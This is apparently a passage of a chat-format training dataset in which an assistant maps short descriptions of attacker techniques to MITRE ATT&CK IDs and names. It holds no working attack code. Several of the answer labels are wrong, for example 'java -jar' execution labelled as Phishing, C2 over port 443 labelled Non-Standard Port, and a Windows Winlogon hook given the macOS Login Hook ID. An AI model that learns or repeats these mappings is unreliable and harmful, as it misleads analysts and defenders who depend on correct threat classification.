                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the ROMMON environment to execute arbitrary commands, achieving persistence without touching the operating system."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware opened a new SSH session to upload additional payloads to the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool uses DLL side-loading to inject its payload into a trusted system binary."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors insert junk data into DNS query payloads, mixing nonsense strings with command and control instructions to hide traffic patterns."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During reconnaissance, the attacker harvests IP address information from DNS responses and network traffic captures."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies the LoginHook value under Winlogon to point to a custom script, achieving persistence whenever a user signs in."
            },
            {
                "role": "assistant",
                "content": "T1037.002 - Boot or Logon Initialization Scripts: Login Hook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command and control messages are hidden inside the payload of image files transferred over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes \"uname -a\" via a remote shell to gather kernel version and system architecture on a Unix machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor provides a harmless‑looking script that is compiled on the compromised machine, turning it into a stealthy payload."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script disables the crypto accelerator by unloading its driver and stopping related services."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the malicious DLL, removing exported function names that could serve as indicators."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits a misconfigured OAuth application to generate a new service principal in Azure for persistence."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a script to purge Windows Event Logs and delete the install directory of their backdoor, effectively removing persistence artifacts."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a botnet to send continuous ICMP echo request (ping) packets, flooding the target's network and causing denial of service."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor stages information locally by renaming files and moving them into a concealed folder for later extraction."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending a massive number of HTTP GET requests to a web application, the threat actor exhausts the server's resources and renders it unavailable."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious JavaScript file is dropped in the startup folder, executing each boot to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs a malicious macro that calls SharePoint's WebDAV interface to pull confidential presentations."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages the msiexec binary to proxy execution of a PowerShell script embedded in an MSI."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary compromises a partner company's VPN credentials and uses them to access the victim's internal network, appearing as a trusted third‑party connection."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors execute malicious JavaScript by delivering a compiled HTML (HTA) file that runs via mshta.exe, leveraging System Binary Proxy Execution."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses search engines to locate publicly exposed digital certificates in open technical databases and code repositories."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor modifies the registry key for a service's ImagePath to point to a malicious script, causing it to run on service start."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder exploits the Windows command line tool regsvr32.exe to run a remote scriptlet as code."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the AppInit_DLLs registry key to have a custom DLL loaded into every user‑mode process at startup."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest legitimate Office 365 user passwords and use them to bypass security controls in the cloud tenant."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a cron tab entry on Linux that uploads exfiltrated files to an FTP server at regular intervals."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware calls the Windows 'makecab' tool to archive collected files into a CAB archive for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gained administrative access to the content management system and changed the logo and banner images to display a ransomware ransom note."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employs Unicode Right-to-Left Override characters in log file names to disguise exfiltration scripts as regular log entries."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group employed a stolen OAuth token to authenticate to the victim’s SaaS application and harvest additional user data."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker registers a harmful DLL as an AppCert DLL, causing it to be invoked by the operating system whenever the associated binary is run."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised container image is pulled from a public repository and run on the victim’s infrastructure, providing the attacker with a foothold."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script exploits a vulnerability in the OS credential manager to obtain user passwords."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder creates a new code signing certificate by abusing a compromised organization's PKI infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder queries LinkedIn and industry forums to enumerate the victim’s business partners, customers, and service providers."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script extracts and reuses CSRF tokens to perform unauthorized actions on behalf of legitimate users on the web platform."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses search engines to find the victim's public websites and personal blogs for information gathering."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script adds a fake time provider to the service configuration, causing arbitrary code execution during time updates."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new driver entry under HKLM\\System\\CurrentControlSet\\Services that loads at boot and targets LSASS."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a phishing campaign that requests victims to confirm their email address, thereby collecting valid email IDs for further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware establishes a command‑and‑control channel over TCP port 443, masquerading as HTTPS traffic to bypass firewall rules."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial access, the group sets up an SSH reverse shell to control the compromised network."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious advertisements are served on legitimate websites, redirecting users to a phishing site that harvests credentials."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker injects a new registry-based policy via Group Policy Preferences to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the SetTokenInformation API to spoof the parent process ID, resulting in Access Token Manipulation."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker intercepts outbound network traffic and modifies the data payload to insert malicious code before it reaches the destination."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The espionage toolkit uses an uncommon port 5555 for beaconing, ensuring it bypasses standard intrusion detection signatures."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a document with a disguised hyperlink targeting a malicious payload hosted on a cloud storage service, which runs when the link is activated."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script creates a custom COM object that communicates with the Windows Management Instrumentation service, allowing it to execute commands remotely."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages /proc/[pid]/status to uncover credential information of processes."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set obtains a custom backdoor utility through a subscription to a hacking forum’s tool‑sharing service."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers perform TCP hole punching by coordinating simultaneous outbound connections from both the victim and the command server, bypassing the network's NAT device to establish a direct communication channel."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries change the Windows boot parameters via bcdedit to enable Safe Mode, bypassing standard security services."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emond is used by the intruder to execute a ransomware encryptor whenever a particular registry key is modified."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor installed on a server hijacks the current SSH channel, forwarding all traffic to the attacker’s command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker changes SSL/TLS handshake messages to downgrade encryption, allowing easier manipulation of transmitted data."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the compromise, the malware switches its C2 communication to port 9001, a rarely used port, to avoid detection by network monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious HTA script invokes wscript.exe to execute a VBScript payload, effectively using the compiled HTML file as a proxy for system binary execution."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a script that repeatedly invokes low‑level OS APIs to fill up the process table, resulting in OS denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample uses the 'java -jar' command to launch a malicious Java archive that runs arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit framework is used to perform network service discovery, gathering information about the software versions of running services."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs 'wmic path Win32_PnPSignedDriver get Name, DriverVersion' to gather driver data."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor installed on the server alters the OpenSSL configuration to enable RC4 with a 40‑bit key, effectively shrinking the encryption key space for all SSL/TLS connections."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a build process that removes all version and build information, delivering a stripped payload to the target system."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan sets up a virtual sandbox on the victim's computer to carry out its payload, preventing any observable artifacts on the host."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code communicates with a malicious web service that returns encoded instructions, employing a dead‑drop resolver technique for stealthy C2."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers replace the default Windows screensaver with a custom .scr file that executes a backdoor payload when the screen locks."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder configures a counterfeit domain controller that responds to authentication requests, enabling credential dumping via LSASS."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the SetWindowsHookEx API to capture keyboard input across all applications, saving the raw key codes to a hidden file in the user's profile."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised CDN node, the adversary injects altered JavaScript into the popular library served to many sites."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit chain uses ListPlanting to embed malicious code into the process list of a critical Windows service, facilitating persistence."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware dropper adds a path like C:\\Users\\Public\\Attack Tools to the environment variable PATH without quoting spaces, then drops a fake \"explorer.exe\" there to intercept explorer launches."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators use the built‑in Windows 'Expand' command to decompress and decode the malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set leveraged the 'firewall-cmd' command to disable firewalld on a Linux server."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
